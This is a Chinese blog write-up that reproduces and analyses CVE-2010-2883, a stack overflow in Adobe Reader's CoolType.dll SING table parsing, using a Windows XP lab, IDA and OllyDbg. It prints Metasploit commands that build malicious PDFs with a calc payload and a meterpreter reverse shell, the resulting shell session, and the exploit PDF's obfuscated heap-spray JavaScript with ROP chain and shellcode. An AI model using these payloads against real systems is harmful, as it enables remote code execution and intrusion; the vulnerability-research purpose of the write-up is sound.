CVE-2010-2883复现与分析

1、这个漏洞是《漏洞战争》中的例子,也要学着去分析分析实际的漏洞了。
2、CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。
3、用户受骗打开了特制的PDF文件就有可能导致执行任意代码。

  • 更新:2020.10.6,也算是重新分析了一遍吧,又收获了很多。这次分析,主要修正了第一次分析中的错误和不足。文章结构有较大变化。更新了动态调试部分,漏洞利用触发的具体原因,以及漏洞利用的具体细节。

0x00 漏洞描述

  Adobe ReaderAcrobat都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的PDF文件阅读器,Acrobat是一款PDF文件编辑和转换工具。基于WindowMac OS X的Adobe Reader和Acrobat 9.4之前的9.x版本,8.2.5之前的8.x版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有TTF字体Smart INdependent Glyphlets (SING)表格中超长字段uniqueName的PDF文件执行任意代码或者导致拒绝服务(应用程序崩溃)。

0x10 分析环境

使用的环境 备注
操作系统 Windows XP Professional SP3 简体中文版
虚拟机 VMware Workstation Pro 版本号:12.5.8
调试器 OllyDbg 吾爱破解OllyDbg
反汇编器 IDA Pro 版本号:7.0
漏洞软件 Adobe Reader 版本号:9.3.4

0x20 漏洞复现

这里用msf来生成用于漏洞利用的exploit样本文件。

0x21 生成exploit样本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1、弹出计算器
msf > search cve-2010-2883
msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME CVE-2010-2883(calc).pdf
FILENAME => CVE-2010-2883(calc).pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/exec
payload => windows/exec
msf exploit(windows/fileformat/adobe_cooltype_sing) > set CMD calc.exe
CMD => calc.exe
msf exploit(windows/fileformat/adobe_cooltype_sing) > run
[*] Creating 'CVE-2010-2883(calc).pdf' file...
[+] CVE-2010-2883(calc).pdf stored at /root/.msf4/local/CVE-2010-2883(calc).pdf

2、反弹Shell
msf > search cve-2010-2883
msf > use exploit/windows/fileformat/adobe_cooltype_sing
msf exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME CVE-2010-2883(shell).pdf
FILENAME => CVE-2010-2883.pdf
msf exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 192.168.50.131
LHOST => 192.168.50.131
msf exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 4444
LPORT => 4444
msf exploit(windows/fileformat/adobe_cooltype_sing) > run
[*] Creating 'CVE-2010-2883(shell).pdf' file...
[+] CVE-2010-2883(shell).pdf stored at /root/.msf4/local/CVE-2010-2883(shell).pdf

  执行完上面的命令可以在/root/.msf4/local/下找到用于exploit的样本文件。然后将样本文件复制到目标主机中。再在kali下进行监听,在windows XP SP3下通过Adobe Reader打开CVE-2010-2883(shell).pdf,获得meterpreter session,从而获得shell。

0x22 反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf exploit(windows/fileformat/adobe_cooltype_sing) > back
msf > use exploit/multi/handler
msf exploit(multi/handler) > set LHOST 192.168.50.131
LHOST => 192.168.50.131
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.131:4444
[*] Sending stage (179779 bytes) to 192.168.50.130
[*] Meterpreter session 7 opened (192.168.50.131:4444 -> 192.168.50.130:1074) at 2018-09-17 16:42:44 +0800
meterpreter > shell
Process 3156 created.
Channel 1 created.
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\*******\桌面>

0x30 漏洞原理分析

0x31 PDF文件格式

  可移植文档格式(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克提出的名为“Camelot”的系统演变成PDF。PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台的,和操作系统无关。
  PDF文档是一种文本二进制混排的格式,它由以下四部分组成

  • header:头部,PDF文件的第一行,用以标识PDF文档的版本。通常格式为%PDF-x.y,PDF版本历经了1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0多个版本。
  • body:PDF的主体部分,包含PDF文档的主题内容,各部分以对象的方式呈现。
  • xref table:交叉引用表,通过交叉引用表可以快速的找到PDF文档中的各对象。每一个对象在交叉引用表中占据一项。
  • trailer:PDF文档尾,包含交叉引用的摘要和交叉引用表的起始位置。

  PDF文档中包含字体对象,而本篇文章所讲述的漏洞就是发生在PDF阅读器对于字体解析过程中,未对字体对象中所包含的SING表uniqueName字段进行长度校验,导致了栈溢出漏洞的发生。下面是我通过PdfStreamDumper读出来的一些PDF的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
%PDF-1.5    //此PDF文档符合PDF1.5规范
%84 DA C7 95

1 0 obj //对象1
<<
/Pages 2 0 R
/Type /Catalog //此对象是catalog对象
/OpenAction 11 0 R //对象11包含打开PDF时要执行的操作
/AcroForm 13 0 R
>>
endobj

2 0 obj
<<
/MediaBox 3 0 R //对象3包含页面显示的大小
/Resources 4 0 R //对象4包含该页所要包含的资源,包括字体和内容的类型
/Kids [5 0 R] //此对象的孩子为对象5
/Count 1 //此PDF总共有1页
/Type /Pages //此对象是Pages对象
>>
endobj

3 0 obj
[0 0 595 842]
endobj

4 0 obj
<<
/Font 6 0 R //对象6包含字体相关信息
>>
endobj

5 0 obj
<<
/Parent 2 0 R //此对象的父对象是2
/MediaBox 3 0 R //对象3包含页面显示的大小
/Resources 4 0 R //对象4包含该页所要包含的资源,包括字体和内容的类型
/Contents [8 0 R] //对象8是内容对象
/Type /Page //此对象的类型是Page
>>
endobj

6 0 obj
<<
/F1 7 0 R //对象7包含字体相关信息
>>
endobj

7 0 obj
<<
/Type /Font //字体对象
/Subtype /TrueType //字体类型是TrueType
/Name /F1
/BaseFont /Cinema //基于Cinema字体
/Widths []
/FontDescriptor 9 0 R //对象9是字体描述对象
/Encoding /MacRomanEncoding //字符编码采用MacRoman
>>
endobj

8 0 obj
<<
/Length 65
>>
stream
0 g
BT
/F1 32 Tf
32 Tc
1 0 0 1 32 773.872 Tm
(Hello World!) Tj
ET
endstream
endobj

9 0 obj
<<
/Type /FontDescriptor //此对象为字体描述对象
/FontName /Cinema //字体名称是Cinema
/Flags 131140
/FontBBox [-177 -269 1123 866]
/FontFile2 10 0 R
>>
endobj

10 0 obj //字体文件
<<
/Length 40238
/Filter /FlateDecode
/Length1 65932
>>
stream
表目录头
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
00000000: 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 ............OS/2 --+
00000010: B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 ._.c...p...VPCLT |
00000020: D1 8A 5E 97 00 00 EB C8 00 00 00 36 63 6D 61 70 ..^........6cmap |
00000030: A4 C3 E8 A0 00 00 B1 6C 00 00 03 58 63 76 74 20 .......l...Xcvt |
00000040: FF D3 1D 39 00 00 1E FC 00 00 01 FC 66 70 67 6D ...9........fpgm |
00000050: E7 B4 F1 C4 00 00 26 60 00 00 00 8B 67 61 73 70 ......&`....gasp |
00000060: 00 07 00 07 00 01 01 48 00 00 00 0C 67 6C 79 66 .......H....glyf |
00000070: 0C 74 41 CF 00 00 26 EC 00 00 8A 7E 68 64 6D 78 .tA...&....~hdmx |
00000080: 34 F0 21 0E 00 00 EC 00 00 00 15 48 68 65 61 64 4.!........Hhead |TTF字体表目录项
00000090: DD 84 A2 D0 00 01 01 54 00 00 00 36 68 68 65 61 .......T...6hhea |
000000a0: 10 45 08 6F 00 00 EB 4C 00 00 00 24 68 6D 74 78 .E.o...L...$hmtx |
000000b0: 09 C6 8E B2 00 00 B4 C4 00 00 04 30 6B 65 72 6E ...........0kern |
000000c0: DC 52 D5 99 00 00 BD A0 00 00 2D 8A 6C 6F 63 61 .R........-.loca |
000000d0: F3 CB D2 3D 00 00 BB 84 00 00 02 1A 6D 61 78 70 ...=........maxp |
000000e0: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:...,... SING |<-SING表,此漏洞相关的表
000000f0: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74 ............post |
00000100: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70 .Z/.........prep --+
00000110: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00 ;..... ....h.... --+
00000120: 01 0E 00 01 00 00 00 00 00 00 00 3A F1 B9 F1 F4 ...........:.... |
00000130: 75 62 82 1D 14 A7 82 4A 0C 0C 0C 0C AC 86 F7 B5 ub.....J........ |
00000140: ED 50 17 29 5C 12 8D 01 4E 51 05 0E E7 CC BC CA .P.)\...NQ...... |
00000150: 6B 02 ED 81 13 36 AD 5E 45 85 DC 7D DB C2 4B 84 k....6.^E..}..K. |各个表内容
00000160: E8 67 8A 92 74 90 C8 3D 03 65 FE 80 4E E7 C7 42 .g..t..=.e..N..B |
00000170: 89 8B DA 08 91 71 7A 3D 83 8E BD 60 AB 8F FA 53 .....qz=...`...S |
........... |
endstream
endobj

11 0 obj
<<
/Type /Action
/S /JavaScript
/JS 12 0 R //对象12为包含javascript脚本的对象
>>
endobj

12 0 obj
<<
/Length 4245
/Filter [/FlateDecode /ASCIIHexDecode]
>>
stream
var TwfyIgWVELWlTuFfZHxdRwABbEcFoBorpIEvEZgQvCEtkxULaIeYgnbjGLZ = unescape;
var NJOkySifYFYiNbSJhpbeOAhYFHGSUtytCzWyyxXppauWTHErAKprE = TwfyIgWVELWlTuFfZHxdRwABbEcFoBorpIEvEZgQvCEtkxULaIeYgnbjGLZ( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%u6dba%u42a5%udd5e%ud9c4%u2474%u5df4%uc931%u31b1%uc583%u3104%u0f55%u5503%u4762%ua2b7%u0594%u5b38%u6a64%ubeb0%uaa55%ucba6%u1ac5%u9eac%ud1e9%u0ae0%u977a%u3c2c%u12cb%u730b%u0fcc%u126f%u524e%uf4bc%u9d6f%uf5b1%uc0a8%ua738%u8e61%u58ef%uda06%ud233%uca54%u0733%ued2c%u9612%ub427%u18b4%ucce4%u02fc%ue9e9%ub9b7%u86d9%u6849%u6610%u55e5%u959d%u92f7%u4619%uea82%ufb5a%u2895%u2721%uab13%uac81%u1783%u6030%ud355%ucd3e%ubb11%ud022%ub7f6%u595e%u17f9%u19d7%ub3de%ufabc%ue57f%uac18%uf580%u11c3%u7d25%u46e9%udc54%u9867%u5aea%u9ac5%u64f4%uf379%uefc5%u8416%u25d9%u7a53%u6490%u13f5%ufd7d%u7e44%u2b7e%u878a%udefd%u7c72%uab1d%u3877%u4799%u5105%u684c%u52ba%u0b45%uc15d%ue205%u61f8%ufaaf' );
var cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu = TwfyIgWVELWlTuFfZHxdRwABbEcFoBorpIEvEZgQvCEtkxULaIeYgnbjGLZ( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
while (cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu.length + 20 + 8 < 65536) cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu+=cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu;
KrNXjctxftIMNXOAmLBVtncBhahStOdstYlNAoHKZNJUMqRFirPqOGIYcUpmgRqqDAhsswI = cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu.substring(0, (0x0c0c-0x24)/2);
KrNXjctxftIMNXOAmLBVtncBhahStOdstYlNAoHKZNJUMqRFirPqOGIYcUpmgRqqDAhsswI += NJOkySifYFYiNbSJhpbeOAhYFHGSUtytCzWyyxXppauWTHErAKprE;
KrNXjctxftIMNXOAmLBVtncBhahStOdstYlNAoHKZNJUMqRFirPqOGIYcUpmgRqqDAhsswI += cRwHmJYQNPwqpXQYBAIyEAVaOjCgxgtqtKEhMrzVXpnOrhEpTPPuUyqKHFAQWRTCgRetNDJBXYJVXIHnDyatbGu;
LheMfJcDsiPjJxInbjSgRYenBRbNEUoJoyodfhVhrYEHdbIBxUtCnBsEijFXCBQsQfouhREgPzYzSyrYvcAWQQ = KrNXjctxftIMNXOAmLBVtncBhahStOdstYlNAoHKZNJUMqRFirPqOGIYcUpmgRqqDAhsswI.substring(0, 65536/2);
while(LheMfJcDsiPjJxInbjSgRYenBRbNEUoJoyodfhVhrYEHdbIBxUtCnBsEijFXCBQsQfouhREgPzYzSyrYvcAWQQ.length < 0x80000) LheMfJcDsiPjJxInbjSgRYenBRbNEUoJoyodfhVhrYEHdbIBxUtCnBsEijFXCBQsQfouhREgPzYzSyrYvcAWQQ += LheMfJcDsiPjJxInbjSgRYenBRbNEUoJoyodfhVhrYEHdbIBxUtCnBsEijFXCBQsQfouhREgPzYzSyrYvcAWQQ;
uwZycdevcUFGuewXrcVZdhwBvRytYBJbBJSpNyatsyiSCIvl = LheMfJcDsiPjJxInbjSgRYenBRbNEUoJoyodfhVhrYEHdbIBxUtCnBsEijFXCBQsQfouhREgPzYzSyrYvcAWQQ.substring(0, 0x80000 - (0x1020-0x08) / 2);
var vOcAiZpBTekCUWuanxyjOsbZlqYVtRifJW = new Array();
for (BTqeWArJfacedmpaCNHYBpyzdROKuyNcvxBgIycbHdFSrzOZogvhokYUHsHAlmOTFHepivwTqE=0;BTqeWArJfacedmpaCNHYBpyzdROKuyNcvxBgIycbHdFSrzOZogvhokYUHsHAlmOTFHepivwTqE<0x1f0;BTqeWArJfacedmpaCNHYBpyzdROKuyNcvxBgIycbHdFSrzOZogvhokYUHsHAlmOTFHepivwTqE++) vOcAiZpBTekCUWuanxyjOsbZlqYVtRifJW[BTqeWArJfacedmpaCNHYBpyzdROKuyNcvxBgIycbHdFSrzOZogvhokYUHsHAlmOTFHepivwTqE]=uwZycdevcUFGuewXrcVZdhwBvRytYBJbBJSpNyatsyiSCIvl+"s";
endstream
endobj

13 0 obj
<<
/XFA 14 0 R
>>
endobj

14 0 obj
<<
/Length 372
>>
stream
<?xml version="1.0" encoding="UTF-8"?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/2.6/">
<present><pdf><interactive>1</interactive></pdf></present>
</config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.6/">
<subform name="form1" layout="tb" locale="en_US">
<pageSet></pageSet>
</subform></template></xdp:xdp>
endstream
endobj

xref //交叉引用表
0 15 //说明下面的描述是从0号对象开始,数量为15
0000000000 65535 f //对象0的起始地址为00000000,产生号为65535,也是最大产生号,不可以再进行更改,f表示该对象状态为free
0000000015 00000 n //对象1的起始地址为00000015,产生号为00000,全零表明该对象未被修改过,n表示该对象在使用中
0000000139 00000 n
0000000264 00000 n
0000000294 00000 n
0000000332 00000 n
0000000469 00000 n
0000000503 00000 n
0000000727 00000 n
0000000853 00000 n
0000001016 00000 n
0000041370 00000 n
0000041443 00000 n
0000045816 00000 n
0000045853 00000 n

trailer //尾部
<<
/Size 15 //该PDF的对象数
/Root 1 0 R //根对象的对象号为1
>>

startxref
46280 //交叉引用表的偏移
%%EOF //文件结束标志

TTF表目录头结构如下:
TTF表目录头结构

1
2
3
4
5
                        表目录头
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
00000000: 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 ............OS/2

TrueType字体用machintosh的轮廓字体资源的格式编码,有一个唯一的标记名"sfnt"。
  • sfnt version:0x00010000(sfnt-1.0)
  • numTables:0x0011(Dec:17) 有17个表
  • searchRange:0x0100
  • entrySelector:0x0004
  • rangeShift:0x0010

TTF表目录项结构如下:
TTF表目录项结构

0x32 SING表结构

  SING技术是Adobe公司推出的针对“外字”(Gaiji)的解决方案,外字日语中的意思,中文中就是生僻字的意思。SING允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这种格式通过Adobe公开的,且基于OpenType。SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含SING字符的文件也是可携带的,而又不会字符乱码、异常显示。SING表结构文档真的不好找,一篇博客中说可以在这里Adobe Glyphlet Development Kit (GDK) for SING Gaiji Architecture下载到一个名叫GlyDevKit.zip的压缩包,压缩包中的Gaiji SING Glyphlet spec.pdf文档中记录了有关SING表的一些规范,但是,可能由于时间问题,Adobe官网已经下载不到这个压缩包了,还好有关漏洞部分的内容,他的博客中已经提到。还可以在这里找到,Adobe Font Development Kit for OpenType

SING表目录项的定义如下:

1
2
3
4
5
6
7
8
typedef struct_SING
{
char tag[4]; //标记:"SING"
ULONG checkSum; //校验和:"0xD9BCC8B5"
ULONG offset; //表偏移:"0x0000011c"
ULONG length; //数据长度:"0x00001DDF"
}TableEntry;
//TrueType字体中的所有数据都使用big-endian编码,最高位字节在最前面(因为TrueType字体最初是由apple公司定义的,而apple公司的os运行在motorola的cpu上)。
1
2
3
4
000000e0: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47  .G.:...,... SING
000000f0: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74 ............post

53 49 4E 47 D9 BC C8 B5 00 00 01 1C 00 00 1D DF

下表列出了TrueType字体中常见的表:

1
2
3
4
5
6
7
8
9
10
11
12
head           字体头                            字体的全局信息
cmap 字符代码到图元的映射 把字符代码映射为图元索引
glyf 图元数据 图元轮廓定义以及网格调整指令
maxp 最大需求表 字体中所需内存分配情况的汇总数据
mmtx 水平规格 图元水平规格
loca 位置表索引 把元索引转换为图元的位置
name 命名表 版权说明、字体名、字体族名、风格名等等
hmtx 水平布局 字体水平布局星系:上高、下高、行间距、最大前进宽度、最小左支撑、最小右支撑
kerm 字距调整表 字距调整对的数组
post PostScript信息 所有图元的PostScript FontInfo目录项和PostScript名
PCLT PCL5数据 HP PCL 5Printer Language的字体信息:字体数、宽度、x高度、风格、记号集等等
OS/2 OS/2和Windows特有的规格 TrueType字体所需的规格集

SING表内容的数据结构如下图所示:

SING表结构

上面在分析PDF内容的时候已经将SING表SING表目录项标出来了。

0x33 漏洞触发

1、静态分析

用IDA打开CoolType.dll库,Shift+F12打开String窗口,搜索"SING"

1
2
3
4
5
.rdata:0819CE34 0000000C C quotesingle                               
.rdata:0819DA2C 0000000D C missing maxp
.rdata:0819DB4C 00000005 C SING
.rdata:081A6F38 00000013 C Error parsing CMap
.rdata:081A6F4C 00000016 C missing codespace map

双击上面的第三个条目,跳转到下面所示位置:

1
2
3
.rdata:0819DB4C ; char aSing[]
.rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2o
.rdata:0819DB4C ; sub_803DCF9+7Bo ...

用鼠标点击aString[],Ctrl+x查看交叉引用

1
2
Direction  Type  Address          Text  
Up o sub_803DCF9+7B push offset aSing ; "SING"

  双击这条就可以定位到解析存在漏洞的地方。下面就是CoolType库对SING表的解析代码,当uniqueName字段为超长字符串时,执行strcat()前未对其长度进行检测,执行strcat()后,会将该字段复制到固定大小的栈空间,最终导致栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.text:0803DCF9     push    ebp                            ; 父函数ebp
.text:0803DCFA sub esp, 104h ; 分配栈空间0x104
.text:0803DD00 lea ebp, [esp+104h+uniqueName_buf] ; esp-4赋给ebp,而不是esp-4处的值赋给ebp,后面strcat会把执行结果保存在以ebp为起始地址的栈空间中
.text:0803DD04 mov eax, ___security_cookie ; security_cookie->eax
.text:0803DD09 xor eax, ebp ; security_cookie^ebp->eax
.text:0803DD0B mov [ebp+108h+var_4], eax ; 将和ebp异或完的security_cookie存到栈上父函数ebp之前的4字节中
.text:0803DD11 push 4Ch ; __EH_prolog3_catch函数中分配栈空间的大小
.text:0803DD13 mov eax, offset loc_8184A54 ; 调用__security_check_cookie函数的代码段起始地址
.text:0803DD18 call __EH_prolog3_catch ; 向栈上写入SEH结构
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax
.text:0803DD35 call sub_804172C
.text:0803DD3A xor esi, esi
.text:0803DD3C cmp dword ptr [edi+8], 3
.text:0803DD40 ;try {
.text:0803DD40 mov [ebp+108h+var_10C], esi
.text:0803DD43 jz loc_803DF00
.text:0803DD49 mov [ebp+108h+var_124], esi
.text:0803DD4C mov [ebp+108h+var_120], esi
.text:0803DD4F cmp dword ptr [edi+0Ch], 1
.text:0803DD4F ;} // starts at 803DD40
.text:0803DD53 ;try {
.text:0803DD53 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 jnz loc_803DEA9
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+108h+var_124]
.text:0803DD66 mov [ebp+108h+var_119], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+108h+var_124], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; 类对象指针(0x0012E718),第一个变量为dword_823A850加1之前的值。
.text:0803DD7A lea ecx, [ebp+108h+var_12C] ; ecx为字体对象,thiscall,ecx传参
.text:0803DD7D call sub_8021B06 ; 解析字体对象,处理SING表
.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DD85 cmp eax, esi ; 判断是否为空
.text:0803DD85 ;} // starts at 803DD53
.text:0803DD87 ;try {
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F add eax, 10h ; 相对SING表入口偏移0x10处找到uniqueName
.text:0803DDA2 push eax ; char *,strcat源地址入栈,也就是uniqueName起始地址
.text:0803DDA3 lea eax, [ebp+108h+uniqueName_buf] ; 这里将ebp的值作为目的地址,也就是前面所分配的缓冲区的起始地址
.text:0803DDA6 push eax ; char *,strcat目的地址入栈
.text:0803DDA7 mov [ebp+108h+uniqueName_buf], 0 ; 将目标字符串赋值为NULL,空字符串
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出

2、动态调试

2.1、sub_8021B06()函数的作用
  • 1、打开Adobe Reader,再打开OllyDbg,attach上Adobe Reader进程。
  • 2、在0x0803DD74下断点,运行程序。
  • 3、观察传入的参数值,及其内存状态
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1、函数执行前
0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII 53,"ING"
0803DD79 57 push edi
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24]
--> 0803DD7D E8 843DFEFF call CoolType.08021B06

ecx = ebp-0x24=0x0012E4D8-0x24=0x0012E4B4
栈上的参数:
esp --> 0012E468 0012E718
0012E46C 0819DB4C ASCII 53,"ING"

[ecx]=[0x0012E4B4]=0x04952118
04952118 00 01 00 00 00 11 01 00 00 04 00 10 4F 53 2F 32 .......OS/2
04952128 B4 5F F4 63 00 00 EB 70 00 00 00 56 50 43 4C 54 確鬰..雙...VPCLT
04952138 D1 8A 5E 97 00 00 EB C8 00 00 00 36 63 6D 61 70 褗^?.肴...6cmap
04952148 A4 C3 E8 A0 00 00 B1 6C 00 00 03 58 63 76 74 20 っ锠..眑..Xcvt
04952158 FF D3 1D 39 00 00 1E FC 00 00 01 FC 66 70 67 6D ?9..?.黤pgm
04952168 E7 B4 F1 C4 00 00 26 60 00 00 00 8B 67 61 73 70 绱衲..&`...媑asp
04952178 00 07 00 07 00 01 01 48 00 00 00 0C 67 6C 79 66 ...H....glyf
04952188 0C 74 41 CF 00 00 26 EC 00 00 8A 7E 68 64 6D 78 .tA?.&?.妦hdmx
04952198 34 F0 21 0E 00 00 EC 00 00 00 15 48 68 65 61 64 4?..?..Hhead
049521A8 DD 84 A2 D0 00 01 01 54 00 00 00 36 68 68 65 61 輨⑿.T...6hhea

2、函数执行后
0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24]
0803DD7D E8 843DFEFF call CoolType.08021B06
0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24]
--> 0803DD85 3BC6 cmp eax,esi

eax=[ebp-0x24]=[0x0012E4D8-0x24]=[0x0012E4B4]=0x0495231C

eax
0495231C 00 00 01 00 01 0E 00 01 00 00 00 00 00 00 00 3A ...........:
0495232C F1 B9 F1 F4 75 62 82 1D 14 A7 82 4A 0C 0C 0C 0C 窆耵ub?J....
0495233C AC 86 F7 B5 ED 50 17 29 5C 12 8D 01 4E 51 05 0E 瑔鞯鞵)\?NQ
0495234C E7 CC BC CA 6B 02 ED 81 13 36 AD 5E 45 85 DC 7D 缣际k韥6璣E呠}
0495235C DB C2 4B 84 E8 67 8A 92 74 90 C8 3D 03 65 FE 80 勐K勮g姃t惾=e
0495236C 4E E7 C7 42 89 8B DA 08 91 71 7A 3D 83 8E BD 60 N缜B墜?憅z=儙絗
0495237C AB 8F FA 53 8E F2 15 70 D8 66 BB A0 24 09 05 CD 珡鶶庲p豧粻$.
0495238C E6 10 AE B9 B2 E0 B8 40 91 36 FC 66 8B 7B BE C2 ?侧窣?黤媨韭
0495239C 65 24 37 DA 2B 2C FC FA 04 89 92 95 B5 3A 22 FE e$7?,墥暤:"
049523AC 44 BA 47 90 BD 17 78 9A 86 A8 CC 2A B1 0B FA 8F D篏惤x殕ㄌ*?鷱
049523BC 54 C7 4B 6D BF 1A 47 1D 33 0D 72 DC D3 8E 1E FC T荎m?G3.r苡?

